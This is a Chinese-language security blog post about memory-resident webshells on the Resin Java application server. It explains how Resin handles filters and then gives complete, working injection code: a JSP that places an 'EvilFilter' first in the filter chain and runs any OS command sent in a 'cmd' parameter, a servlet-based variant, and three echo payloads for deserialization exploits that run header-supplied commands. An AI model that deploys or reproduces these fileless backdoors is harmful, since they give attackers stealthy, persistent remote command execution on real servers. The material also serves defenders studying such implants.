
作者:KimJun@Timeline Sec 本文字数:4039 阅读时长:3~5min 声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
Resin 是 CAUCHO 公司(http://www.caucho.com/)的产品,是一个非常流行的支持 servlets 和 jsp 的引擎,速度非常快。Resin 本身包含了一个支持 HTTP/1.1 的 WEB 服务器。虽然它可以显示动态内容,但是它显示静态内容的能力也非常强,速度直逼 APACHE SERVER
Servlet 是一种处理请求和发送响应的程序,Servlet是为了解决动态页面而衍生的东西
相同点:
web服务器,对servlet和jsp提供了良好的支持,自身采用java开发,都支持集群部署不同点:
resin专业版是要收费,而tomcat是免费的,resin专业版支持缓存和负载均衡Resin 在一台机器上配置多个运行实例时,稍显麻烦,不像Tomcat复制多份,修改个端口即可,完全独立和Tomcat Filter类型的内存马一样,Resin Filter型的内存马原理是:当Web请求经过 Filter ,如果我们动态创建一个恶意的Filter并且将其放在最前面,程序运行时就会优先执行我们的恶意代码
在官方网站下载对应压缩包[https://caucho.com/products/resin/download/gpl](https://caucho.com/products/resin/download/gpl),本地调试环境需要下载source,和搭建Tomcat环境差不多,这里就不细说,可以参考p牛搭建Tomcat源码调试环境的文章

在注入 Filter内存马之前,我们先来分析一下正常Filter在Resin中的流程是怎么样的 自定义 filter:
package com.test;
import javax.servlet.*;
import java.io.IOException;
public class FilterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始化创建");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("Filter 进行过滤");
}
@Override
public void destroy() {
System.out.println("Filter 销毁");
}
}
然后在web.xml中注册我们的filter,这里我们设置url-pattern为 /filterDemo 即访问 /filterDemo 才会触发
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<filter>
<filter-name>filterDemo</filter-name>
<filter-class>com.test.FilterDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDemo</filter-name>
<url-pattern>/filterDemo</url-pattern>
</filter-mapping>
</web-app>
访问 http://localhost:8080/resinTest/filterDemo ,发现成功触发,resinTest为当前项目名

接下来来分析一下Resin如何调用我们的自定义的filter,Resin.java是启动Resin服务器的入口点,前面都是一些环境初始化的操作,主要看resin.initMain();

首先JspCompiler会查找并读取 WEB-INF/web.xml文件,然后把webApp对象和webXml传入configureBean方法中

然后XmlConfigContext使用对web.xml文件进行一系列解析,首先处理filter标签这一部分
<filter>
<filter-name>filterDemo</filter-name>
<filter-class>com.test.FilterDemo</filter-class>
</filter>

configureBeanProperties,生成一个childBean对象,里面是一个FilterConfigImpl,获取到filterName=filterDemo,filterClass=com.test.FilterDemo


接着使用attrStrategy.setValue(bean, qName, childBean);进行反射生成filter,跟进

发现通过WebApps.addFilter(FilterConfigImpl config)添加filter,FilterManager是一个filter管理器,跟进它的_filterManager.addFilter(config);

这里可以发现FilterManager通过_filters添加filterName和config属性,_filters是一个Hashmap


接着处理filter-mapping标签,同样的,解析后反射调用
<filter-mapping>
<filter-name>filterDemo</filter-name>
<url-pattern>/filterDemo</url-pattern>
</filter-mapping>

_filterMap是一个ArrayList动态数组,里面存储filterMapping对象


在WebApp中还有一个_filterMapper,他的buildDispatchChain方法会根据_filterMap的数组顺序依次调用链上的Filter

根据上面的分析,如果我们需要实现一个filter内存马,攻击的大致流程如下:
FilterfilterConfigImpl对Filter进行一个封装,使用webapp对象addFilterfilter路由映射ArrayList<FilterMapping> ,并将恶意的filterMapping插到首位在tomcat中我们知道,可以通过MBean、lastServicedRequest、request.getSession().getServletContext()、Thread.currentThread().getContextClassLoader()等多种方式去获取上下文对象 在Resin中可以通过反射获取线程中的ServletInvocation,使用它的getContextRequest方法,获取上下文对象,再通过它的实现HttpServletRequestImpl的getWebApp方法获取webApp

最终的完整的Filter内存马:
<%@ page import="com.caucho.server.webapp.WebApp" %>
<%@ page import="com.caucho.server.dispatch.FilterConfigImpl" %>
<%@ page import="com.caucho.server.dispatch.FilterMapping" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="com.caucho.server.dispatch.FilterMapper" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%
ClassLoader classloader = Thread.currentThread().getContextClassLoader();
Class servletInvocationClazz = classloader.loadClass("com.caucho.server.dispatch.ServletInvocation");
Class filterConfigImplClazz = classloader.loadClass("com.caucho.server.dispatch.FilterConfigImpl");
Class filterMappingClazz = classloader.loadClass("com.caucho.server.dispatch.FilterMapping");
Class filterMapperClazz = classloader.loadClass("com.caucho.server.dispatch.FilterMapper");
Object contextRequest = servletInvocationClazz.getMethod("getContextRequest").invoke(null);
WebApp webapp = (WebApp) contextRequest.getClass().getMethod("getWebApp").invoke(contextRequest);
//判断是否已经注入
String evilFilterName = "EvilFilter";
if (webapp.getFilterRegistration(evilFilterName) != null) {
out.println("Resin FilterMemShell Injected!!");
return;
}
//创建并添加 filterConfigImpl 实例
Filter evilFilter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("EvilFilter 初始化");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("EvilFilter 进行过滤");
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
Process process = Runtime.getRuntime().exec(req.getParameter("cmd"));
BufferedReader bf = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder result = new StringBuilder();
String line;
while ((line = bf.readLine()) != null) {
result.append(line).append("</br>");
}
servletResponse.getWriter().write(result.toString());
process.destroy();
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
System.out.println("EvilFilter 销毁");
}
};
Class newFilterClazz = evilFilter.getClass();
FilterConfigImpl filterConfigimpl = (FilterConfigImpl) filterConfigImplClazz.newInstance();
filterConfigimpl.setFilterName(evilFilterName);
filterConfigimpl.setFilter(evilFilter);
filterConfigimpl.setFilterClass(newFilterClazz);
webapp.addFilter(filterConfigimpl);
//创建相应 filter 路由映射
FilterMapping filterMapping = (FilterMapping) filterMappingClazz.newInstance();
FilterMapping.URLPattern filterMappingUrlPattern = filterMapping.createUrlPattern();
filterMappingUrlPattern.addText("/*");
filterMappingUrlPattern.init();
filterMapping.setFilterName(evilFilterName);
filterMapping.setServletContext(webapp);
//设置filterMapper
Field fieldWebappFilterMapper;
try {
fieldWebappFilterMapper = webapp.getClass().getDeclaredField("_filterMapper");
} catch (NoSuchFieldException Exception) {
try {
fieldWebappFilterMapper = webapp.getClass().getSuperclass().getDeclaredField("_filterMapper");
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
}
}
fieldWebappFilterMapper.setAccessible(true);
FilterMapper filtermapper = (FilterMapper) fieldWebappFilterMapper.get(webapp);
Field fieldFilterMapperFilterMap = filterMapperClazz.getDeclaredField("_filterMap");
fieldFilterMapperFilterMap.setAccessible(true);
//把EvilFilter放到首位
ArrayList<FilterMapping> newFilterMappings = (ArrayList) fieldFilterMapperFilterMap.get(filtermapper);
newFilterMappings.add(0,filterMapping);
fieldFilterMapperFilterMap.set(filtermapper, newFilterMappings);
fieldWebappFilterMapper.set(webapp, filtermapper);
out.println("Resin FilterMemShell Inject Success!!");
%>
开启服务,访问 evil.jsp,注入成功

访问http://localhost:8080/resinTest/index.jsp?cmd=ls,执行成功

同理,Resin Servlet类型的内存马也可以按照上面的方法进行分析,直接给出代码:
public class ResinServletMem implements Servlet {
public static String pattern;
static {
try {
String servletName = "evilServlet";
Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch" +
".ServletInvocation");
Method getContextRequest = si.getMethod("getContextRequest");
javax.servlet.ServletRequest contextRequest = (javax.servlet.ServletRequest) getContextRequest.invoke(null);
Method getServletContext = javax.servlet.ServletRequest.class.getMethod("getServletContext");
Object web = getServletContext.invoke(contextRequest);
com.caucho.server.webapp.WebApp web1 = (com.caucho.server.webapp.WebApp) web;
com.caucho.server.dispatch.ServletMapping smapping = new com.caucho.server.dispatch.ServletMapping();
Field f = ServletConfigImpl.class.getDeclaredField("_servletClass");
f.setAccessible(true);
f.set(smapping, RSMSFromThread.class);
Field f1 = ServletConfigImpl.class.getDeclaredField("_servletClassName");
f1.setAccessible(true);
f1.set(smapping, RSMSFromThread.class.getName());
Field f2 = web1.getClass().getDeclaredField("_servletManager");
f2.setAccessible(true);
Object manager = f2.get(web1);
Field f3 = ServletManager.class.getDeclaredField("_servlets");
f3.setAccessible(true);
HashMap map = (HashMap) f3.get(manager);
map.put(servletName, new ServletConfigImpl());
smapping.setServletName(servletName);
smapping.addURLPattern(pattern);
web1.addServletMapping(smapping);
} catch (Exception ignored) {
}
}
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) {
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
基于resin开发的应用如果存在反序列漏洞的情况下,因为注入的是字节码,如果想打cmd回显,需要通过一些手段获取到 request 和 response,下面列举Resin中几种回显的方式
思路:通过反射技术遍历全局变量的所有属性的类型,查找request对象 方法1:阅读源码,寻找存储有request对象的全局变量 方法2:使用工具进行半自动化反射搜索全局变量
这里用到,半自动化挖掘request实现多种中间件回显工具:[https://github.com/c0ny1/java-object-searcher](https://github.com/c0ny1/java-object-searcher)

根据挖掘结果构造回显payload,主要有三种
public static void getResponse1() throws Exception {
Thread thread = Thread.currentThread();
Field threadLocals = Thread.class.getDeclaredField("threadLocals");
threadLocals.setAccessible(true);
Object threadLocalMap = threadLocals.get(thread);
Class threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
Field tableField = threadLocalMapClazz.getDeclaredField("table");
tableField.setAccessible(true);
Object[] objects = (Object[]) tableField.get(threadLocalMap);
Class entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
Field entryValueField = entryClass.getDeclaredField("value");
entryValueField.setAccessible(true);
for (Object object : objects) {
if (object != null) {
Object valueObject = entryValueField.get(object);
if (valueObject != null) {
if (valueObject.getClass().getName().equals("com.caucho.server.http.HttpRequest")) {
HttpRequest httpRequest = (com.caucho.server.http.HttpRequest) valueObject;
//执行命令
String cmd1 = httpRequest.getHeader("cmd");
String[] cmd = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd1} : new String[]{"cmd.exe", "/c", cmd1};
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
//response
HttpResponse httpResponse = httpRequest.createResponse();
httpResponse.setHeader("Content-Length", output.length() + "");
Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream");
method.setAccessible(true);
com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse);
httpResponseStream.write(output.getBytes(), 0, output.length());
httpResponseStream.close();
}
}
}
}
}
//request对象存储TcpSocketLink
public static void getResponse2() throws Exception {
Class tcpsocketLinkClazz = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.network.listen.TcpSocketLink");
java.lang.reflect.Method getCurrentRequestM = tcpsocketLinkClazz.getMethod("getCurrentRequest");
Object currentRequest = getCurrentRequestM.invoke(null);
java.lang.reflect.Field f = currentRequest.getClass().getSuperclass().getDeclaredField("_responseFacade");
f.setAccessible(true);
Object response = f.get(currentRequest);
java.lang.reflect.Method getWriterM = response.getClass().getMethod("getWriter");
java.io.PrintWriter w = ( java.io.PrintWriter) getWriterM.invoke(response);
//response
String[] cmd = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", "whoami"} : new String[]{"cmd.exe", "/c","whoami"};
java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
//输出
w.write(output);
}
//request对象存储ServletInvocation
public static void getResponse3() throws Exception {
Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
java.lang.reflect.Method getContextRequest = si.getMethod("getContextRequest");
com.caucho.server.http.HttpServletRequestImpl req = (com.caucho.server.http.HttpServletRequestImpl) getContextRequest.invoke(null);
try {
if (req.getHeader("cmd") != null) {
String cmd = req.getHeader("cmd");
javax.servlet.http.HttpServletResponse rep = (javax.servlet.http.HttpServletResponse) req.getServletResponse();
java.io.PrintWriter out = rep.getWriter();
out.println(new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next());
}
} catch (Exception e) {
e.printStackTrace();
}
}
本文分享自 Timeline Sec 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!